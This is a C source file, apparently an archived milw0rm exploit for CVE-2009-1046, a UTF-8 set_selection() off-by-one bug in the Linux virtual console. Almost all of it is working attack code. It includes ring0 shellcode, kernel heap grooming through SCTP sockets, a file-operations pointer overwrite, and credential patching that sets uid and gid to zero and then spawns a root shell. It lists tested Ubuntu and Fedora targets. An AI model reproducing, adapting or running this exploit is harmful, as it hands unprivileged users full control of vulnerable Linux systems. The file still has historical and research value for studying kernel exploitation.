617 lines
No EOL
13 KiB
C
617 lines
No EOL
13 KiB
C
/* CVE-2009-1046 Virtual Console UTF-8 set_selection() off-by-one(two) Memory Corruption
|
|
* Linux Kernel <= 2.6.28.3
|
|
*
|
|
* coded by: sgrakkyu <at> antifork.org
|
|
* http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html
|
|
*
|
|
* Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow
|
|
*
|
|
* NOTE-1: you need a virtual console attached to the standard output (stdout)
|
|
* - physical login
|
|
* - ptrace() against some process with the same uid already attached to a VC
|
|
* - remote management ..
|
|
*
|
|
* NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts
|
|
* but if it's _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines)
|
|
* If you use an unsupported character expect some sort of recursive fatal ooops:)
|
|
*
|
|
* Designed to be built as x86-64 binary only (SLUB ONLY)
|
|
* SCTP stack has to be available
|
|
*
|
|
* Tested on target:
|
|
* Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
|
|
* Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
|
|
* Fedora Core 10 x86_64 (default installed kernel - without selinux)
|
|
*
|
|
*/
|
|
|
|
|
|
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <sched.h>
|
|
#include <errno.h>
|
|
#include <netinet/in.h>
|
|
#include <netinet/sctp.h>
|
|
#include <arpa/inet.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <sys/ioctl.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <linux/tiocl.h>
|
|
#include <sys/stat.h>
|
|
#include <fcntl.h>
|
|
#include <signal.h>
|
|
#include <sys/mman.h>
|
|
#include <sched.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
|
|
#ifndef __x86_64__
|
|
#error "Architecture Unsupported"
|
|
#error "This code was written for x86-64 target and has to be built as x86-64 binary"
|
|
#else
|
|
|
|
#ifndef __u8
|
|
#define __u8 uint8_t
|
|
#endif
|
|
#ifndef __u16
|
|
#define __u16 uint16_t
|
|
#endif
|
|
#ifndef __u32
|
|
#define __u32 uint32_t
|
|
#endif
|
|
#ifndef __u64
|
|
#define __u64 uint64_t
|
|
#endif
|
|
|
|
|
|
#define STREAM_ZERO 10
|
|
#define STREAM_ZERO_ALT 12
|
|
|
|
#define SCTP_STREAM 22
|
|
#define STACK_SIZE 0x1000
|
|
#define PAGE_SIZE 0x1000
|
|
#define STRUCT_PAGE 0x0000000000000000
|
|
#define STRUCT_PAGE_ALT 0x0000000100000000
|
|
#define CODE_PAGE 0x0000000000010000
|
|
#define LOCALHOST "127.0.0.1"
|
|
#define KMALLOC "kmalloc-128"
|
|
#define TIMER_LIST_FOPS "timer_list_fops"
|
|
|
|
#define __msg_f(format, args...) \
|
|
do { fprintf(stdout, format, ## args); } while(0)
|
|
|
|
#define __msg(msg) \
|
|
do { fprintf(stdout, "%s", msg); } while(0)
|
|
|
|
#define __fatal_errno(msg) \
|
|
do { perror(msg); __free_stuff(); exit(1); } while(0)
|
|
|
|
#define __fatal(msg) \
|
|
do { fprintf(stderr, msg); __free_stuff(); exit(1); } while(0)
|
|
|
|
|
|
|
|
#define CJUMP_OFF 13
|
|
char ring0[]=
|
|
"\x57" // push %rdi
|
|
"\x50" // push %rax
|
|
"\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" // mov %gs:0x0,%rdi
|
|
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41" // mov xxx, %rax
|
|
"\xff\xd0" // callq *%rax
|
|
"\x58" // pop %rax
|
|
"\x5f" // pop %rdi
|
|
"\xc3"; // retq
|
|
|
|
|
|
/* conn struct */
|
|
static __u16 srvport;
|
|
struct sockaddr_in server_s;
|
|
static struct sockaddr_in caddr;
|
|
|
|
/* some fds.. */
|
|
static int g_array[10];
|
|
static int fd_zmap_srv=-1;
|
|
static int kmalloc_fd=-1;
|
|
static int unsafe_fd[4] = {-1,-1,-1,-1};
|
|
|
|
/* misc */
|
|
static int dorec = 0, cankill=1, highpage=0;
|
|
static char cstack[STACK_SIZE*2];
|
|
static __u16 zstream=STREAM_ZERO;
|
|
static __u32 uid,gid;
|
|
static __u64 fops;
|
|
static pid_t child=0;
|
|
static char symbuf[20000];
|
|
|
|
static void __free_stuff()
|
|
{
|
|
int i;
|
|
for(i=3; i<2048; i++)
|
|
{
|
|
if((unsafe_fd[0] == i || unsafe_fd[1] == i ||
|
|
unsafe_fd[2] == i || unsafe_fd[3] == i))
|
|
continue;
|
|
|
|
close(i);
|
|
}
|
|
}
|
|
|
|
static void bindcpu()
|
|
{
|
|
cpu_set_t set;
|
|
CPU_ZERO(&set);
|
|
CPU_SET(0, &set);
|
|
|
|
if(sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0)
|
|
__fatal_errno("setaffinity");
|
|
}
|
|
|
|
/* parse functions are not bof-free:) */
|
|
static __u64 get_fops_addr()
|
|
{
|
|
FILE* stream;
|
|
char fbuf[256];
|
|
char addr[32];
|
|
|
|
stream = fopen("/proc/kallsyms", "r");
|
|
if(stream < 0)
|
|
__fatal_errno("open: kallsyms");
|
|
|
|
memset(fbuf, 0x00, sizeof(fbuf));
|
|
while(fgets(fbuf, 256, stream) > 0)
|
|
{
|
|
char *p = fbuf;
|
|
char *a = addr;
|
|
memset(addr, 0x00, sizeof(addr));
|
|
fbuf[strlen(fbuf)-1] = 0;
|
|
while(*p != ' ')
|
|
*a++ = *p++;
|
|
p += 3;
|
|
if(!strcmp(p, TIMER_LIST_FOPS))
|
|
return strtoul(addr, NULL, 16);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
static int get_total_object(int fd)
|
|
{
|
|
char name[32];
|
|
char used[32];
|
|
char total[32];
|
|
char *ptr[] = {name, used, total};
|
|
int ret,i,toread=sizeof(symbuf)-1;
|
|
char *p = symbuf;
|
|
|
|
lseek(fd, 0, SEEK_SET);
|
|
memset(symbuf, 0x00, sizeof(symbuf));
|
|
while( (ret = read(fd, p, toread)) > 0)
|
|
{
|
|
p += ret;
|
|
toread -= ret;
|
|
}
|
|
|
|
p = symbuf;
|
|
do
|
|
{
|
|
for(i=0; i<sizeof(ptr)/sizeof(void*); i++)
|
|
{
|
|
char *d = ptr[i];
|
|
while(*p != ' ')
|
|
*d++ = *p++;
|
|
*d = 0;
|
|
while(*p == ' ')
|
|
p++;
|
|
}
|
|
|
|
while(*p++ != '\n');
|
|
|
|
if(!strcmp(KMALLOC, name))
|
|
return atoi(total);
|
|
|
|
} while(*p != 0);
|
|
return 0;
|
|
}
|
|
|
|
|
|
static void ring0c(void* t)
|
|
{
|
|
int i;
|
|
__u32 *p = t;
|
|
for(i=0; i<1100; i++,p++)
|
|
{
|
|
if(p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
|
|
p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
|
|
{
|
|
p[0] = p[1] = p[2] = p[3] = 0;
|
|
p[4] = p[5] = p[6] = p[7] = 0;
|
|
/* dont care about caps */
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
static int get_kmalloc_fd()
|
|
{
|
|
int fd;
|
|
fd = open("/proc/slabinfo", O_RDONLY);
|
|
if(fd < 0)
|
|
__fatal_errno("open: slabinfo");
|
|
return fd;
|
|
}
|
|
|
|
|
|
static int write_sctp(int fd, struct sockaddr_in *s, int channel)
|
|
{
|
|
int ret;
|
|
ret = sctp_sendmsg(fd, "a", 1,
|
|
(struct sockaddr *)s, sizeof(struct sockaddr_in),
|
|
0, 0, channel, 0 ,0);
|
|
return ret;
|
|
}
|
|
|
|
|
|
static void set_sctp_sock_opt(int fd, __u16 in, __u16 out)
|
|
{
|
|
struct sctp_initmsg msg;
|
|
int val=1;
|
|
socklen_t len_sctp = sizeof(struct sctp_initmsg);
|
|
getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
|
|
msg.sinit_num_ostreams=out;
|
|
msg.sinit_max_instreams=in;
|
|
setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
|
|
setsockopt(fd, SOL_SCTP, SCTP_NODELAY, (char*)&val, sizeof(val));
|
|
}
|
|
|
|
|
|
static int create_and_init(void)
|
|
{
|
|
int fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
|
if(fd < 0)
|
|
__fatal_errno("socket: sctp");
|
|
set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
|
|
return fd;
|
|
}
|
|
|
|
|
|
static void connect_peer(int fd, struct sockaddr_in *s)
|
|
{
|
|
int ret;
|
|
ret = connect(fd, (struct sockaddr *)s, sizeof(struct sockaddr_in));
|
|
if(ret < 0)
|
|
__fatal_errno("connect: one peer");
|
|
}
|
|
|
|
|
|
static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream)
|
|
{
|
|
connect_peer(fd,s);
|
|
write_sctp(fd, s, stream);
|
|
}
|
|
|
|
|
|
static int clone_thread(void*useless)
|
|
{
|
|
int o = 1;
|
|
int c=0,idx=0;
|
|
int fd, ret;
|
|
struct sockaddr_in tmp;
|
|
socklen_t len;
|
|
|
|
bindcpu();
|
|
server_s.sin_family = PF_INET;
|
|
server_s.sin_port = htons(srvport);
|
|
server_s.sin_addr.s_addr = inet_addr(LOCALHOST);
|
|
|
|
fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
|
if(fd < 0)
|
|
return -1;
|
|
|
|
set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
|
|
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));
|
|
|
|
ret = bind(fd, (struct sockaddr *)&server_s, sizeof(struct sockaddr_in));
|
|
if(ret < 0)
|
|
return -1;
|
|
|
|
ret = listen(fd, 100);
|
|
if(ret < 0)
|
|
return -1;
|
|
|
|
len = sizeof(struct sockaddr_in);
|
|
while((ret = accept(fd, (struct sockaddr *)&tmp, &len)) >= 0)
|
|
{
|
|
if(dorec != 0 && c >= dorec && idx < 10)
|
|
{
|
|
g_array[idx] = ret;
|
|
if(idx==9)
|
|
{
|
|
fd_zmap_srv = ret;
|
|
caddr = tmp;
|
|
break;
|
|
}
|
|
idx++;
|
|
}
|
|
c++;
|
|
write_sctp(ret, &tmp, zstream);
|
|
}
|
|
|
|
sleep(1);
|
|
return 0;
|
|
}
|
|
|
|
|
|
static int do_mmap(unsigned long base, int npages)
|
|
{
|
|
void*addr = mmap((void*)base, PAGE_SIZE*npages,
|
|
PROT_READ|PROT_WRITE|PROT_EXEC,
|
|
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
|
|
|
|
if(MAP_FAILED == addr)
|
|
return -1;
|
|
|
|
memset(addr, 0x00, PAGE_SIZE*npages);
|
|
|
|
return 0;
|
|
}
|
|
|
|
pid_t start_listener()
|
|
{
|
|
pid_t pid;
|
|
pid = clone(clone_thread, cstack+STACK_SIZE-8,
|
|
CLONE_VM|CLONE_FILES|SIGCHLD, NULL);
|
|
|
|
return pid;
|
|
}
|
|
|
|
static void do_socks(struct sockaddr_in *s, __u16 stream)
|
|
{
|
|
int i,fd;
|
|
int n_objs = get_total_object(kmalloc_fd), tmp_n_objs;
|
|
int next=8;
|
|
|
|
for(i=0; next != 0; i++)
|
|
{
|
|
fd = create_and_init();
|
|
|
|
tmp_n_objs = get_total_object(kmalloc_fd);
|
|
if(!dorec && tmp_n_objs != n_objs)
|
|
dorec=i;
|
|
|
|
conn_and_write(fd, s, stream);
|
|
if(dorec)
|
|
next--;
|
|
}
|
|
}
|
|
|
|
|
|
static void clr(int fd)
|
|
{
|
|
/* use termcap instead..*/
|
|
write(fd, "\33[H\33[J", 6);
|
|
}
|
|
|
|
static char tiobuffer[2048];
|
|
void alloc_tioclinux()
|
|
{
|
|
int i;
|
|
char out[128*3];
|
|
/* Unicode Character 'BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL' (U+253C) */
|
|
char utf8[3] = { 0xE2, 0x94, 0xBC };
|
|
//char utf8[3] = { 0xE2, 0x80, 0xBC };
|
|
struct tiocl_selection *sel;
|
|
char *t;
|
|
void *v = malloc(sizeof(struct tiocl_selection) + 1);
|
|
t = (char*)v;
|
|
sel = (struct tiocl_selection *)(t+1);
|
|
memset(out, 0x41, sizeof(out));
|
|
for(i=0; i<128; i++)
|
|
{
|
|
tiobuffer[(i*3)]=utf8[0];
|
|
tiobuffer[(i*3)+1]=utf8[1];
|
|
tiobuffer[(i*3)+2]=utf8[2];
|
|
}
|
|
|
|
*t = TIOCL_SETSEL;
|
|
sel->xs = 1;
|
|
sel->ys = 1;
|
|
sel->xe = 43;
|
|
//sel->xe = 42; /* no overflow */
|
|
sel->ye = 1;
|
|
|
|
write(1, tiobuffer, sizeof(tiobuffer));
|
|
if(ioctl(1, TIOCLINUX, v) < 0)
|
|
__fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n");
|
|
}
|
|
|
|
|
|
|
|
static void migrate_evil_fd()
|
|
{
|
|
int i;
|
|
pid_t child;
|
|
|
|
__msg("[**] Migrate evil unsafe fds to child process..\n");
|
|
child = fork();
|
|
if(!child)
|
|
{
|
|
|
|
/* preserve evil fds */
|
|
setsid();
|
|
if(!cankill) /* cant die .. */
|
|
while(1)
|
|
sleep(1);
|
|
else
|
|
{
|
|
sleep(10); /* wait execve() before */
|
|
for(i=0; i<4; i++)
|
|
close(unsafe_fd[i]);
|
|
|
|
exit(1);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
if(!cankill)
|
|
__msg_f("[**] Child process %d _MUST_ NOT die ... keep it alive:)\n", child);
|
|
}
|
|
}
|
|
|
|
|
|
static void trigger_fault()
|
|
{
|
|
char *argv[]={"/bin/sh", NULL};
|
|
int fd,i;
|
|
|
|
fd = open("/proc/timer_list", O_RDONLY);
|
|
if(fd >= 0)
|
|
{
|
|
ioctl(fd, 0, 0);
|
|
__free_stuff();
|
|
migrate_evil_fd();
|
|
|
|
for(i=0; i<4; i++)
|
|
close(unsafe_fd[i]);
|
|
|
|
if(!getuid())
|
|
{
|
|
__msg("[**] Got root!\n");
|
|
execve("/bin/sh", argv, NULL);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
__msg("[**] Cannot open /proc/timer_list");
|
|
__free_stuff();
|
|
}
|
|
}
|
|
|
|
|
|
|
|
static void overwrite_fops( int sender,
|
|
struct sockaddr_in *to_receiver,
|
|
int receiver)
|
|
{
|
|
char *p = NULL;
|
|
if(!highpage)
|
|
p++;
|
|
else
|
|
p = (void*)STRUCT_PAGE_ALT;
|
|
|
|
__u64 *uip = (__u64*)p;
|
|
*uip = fops;
|
|
write_sctp(sender, to_receiver, 1);
|
|
sleep(1);
|
|
trigger_fault();
|
|
}
|
|
|
|
static __u16 get_port()
|
|
{
|
|
__u16 r = (__u16)getpid();
|
|
if(r <= 0x400)
|
|
r+=0x400;
|
|
return r;
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int peerx, peery,i;
|
|
__u64 *patch;
|
|
|
|
srvport = get_port();
|
|
|
|
uid=getuid();
|
|
gid=getgid();
|
|
fops=get_fops_addr() + 64;
|
|
if(!fops)
|
|
{
|
|
__msg("[!!] Unable to locate symbols...\n");
|
|
return 1;
|
|
}
|
|
|
|
__msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
|
|
patch = (__u64*)(ring0 + CJUMP_OFF);
|
|
*patch = (__u64)ring0c;
|
|
|
|
__msg_f("[**] Using port: %d\n", srvport);
|
|
__msg("[**] Getting slab info...\n");
|
|
kmalloc_fd = get_kmalloc_fd();
|
|
if(!get_total_object(kmalloc_fd))
|
|
__fatal("[!!] Only SLUB allocator supported\n");
|
|
|
|
|
|
__msg("[**] Mapping Segments...\n");
|
|
__msg("[**] Trying mapping safe page...");
|
|
if(do_mmap(STRUCT_PAGE, 1) < 0)
|
|
{
|
|
__msg("Page Protection Present (Unable to Map Safe Page)\n");
|
|
__msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
|
|
if(do_mmap(STRUCT_PAGE_ALT, 1) < 0)
|
|
__fatal_errno("mmap");
|
|
|
|
cankill=0; /* dont kill child owning unsafe fds.. */
|
|
highpage=1; /* ssnmap in higher pages */
|
|
zstream=STREAM_ZERO_ALT;
|
|
}
|
|
else
|
|
__msg("Done\n");
|
|
|
|
__msg("[**] Mapping Code Page... ");
|
|
if(do_mmap(CODE_PAGE, 1) < 0)
|
|
__fatal_errno("mmap");
|
|
else
|
|
__msg("Done\n");
|
|
|
|
memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));
|
|
|
|
__msg("[**] Binding on CPU 0\n");
|
|
bindcpu();
|
|
|
|
__msg("[**] Start Server Thread..\n");
|
|
child = start_listener();
|
|
sleep(3);
|
|
|
|
do_socks(&server_s, zstream);
|
|
for(i=0; i<7; i++)
|
|
{
|
|
close(g_array[8-1-i]);
|
|
}
|
|
clr(1);
|
|
alloc_tioclinux(); // trigger overflow
|
|
peerx = create_and_init();
|
|
connect_peer(peerx, &server_s);
|
|
peery = create_and_init();
|
|
connect_peer(peery, &server_s);
|
|
|
|
sleep(1);
|
|
|
|
unsafe_fd[0] = peerx;
|
|
unsafe_fd[1] = g_array[8];
|
|
unsafe_fd[2] = peery;
|
|
unsafe_fd[3] = g_array[9];
|
|
|
|
__msg("\n");
|
|
__msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
|
|
__msg_f("[**] Unsafe fd: ( ");
|
|
|
|
for(i=0; i<4; i++)
|
|
__msg_f("%d ", unsafe_fd[i]);
|
|
__msg(")\n");
|
|
|
|
|
|
__msg("[**] Hijacking fops...\n");
|
|
overwrite_fops(fd_zmap_srv, &caddr, peery);
|
|
|
|
/* if u get here.. something nasty happens...may crash..*/
|
|
__free_stuff();
|
|
__msg("[**] Exploit failed.. freezing process\n");
|
|
kill(getpid(), SIGSTOP);
|
|
return 0;
|
|
}
|
|
|
|
#endif
|
|
|
|
// milw0rm.com [2009-07-09]
|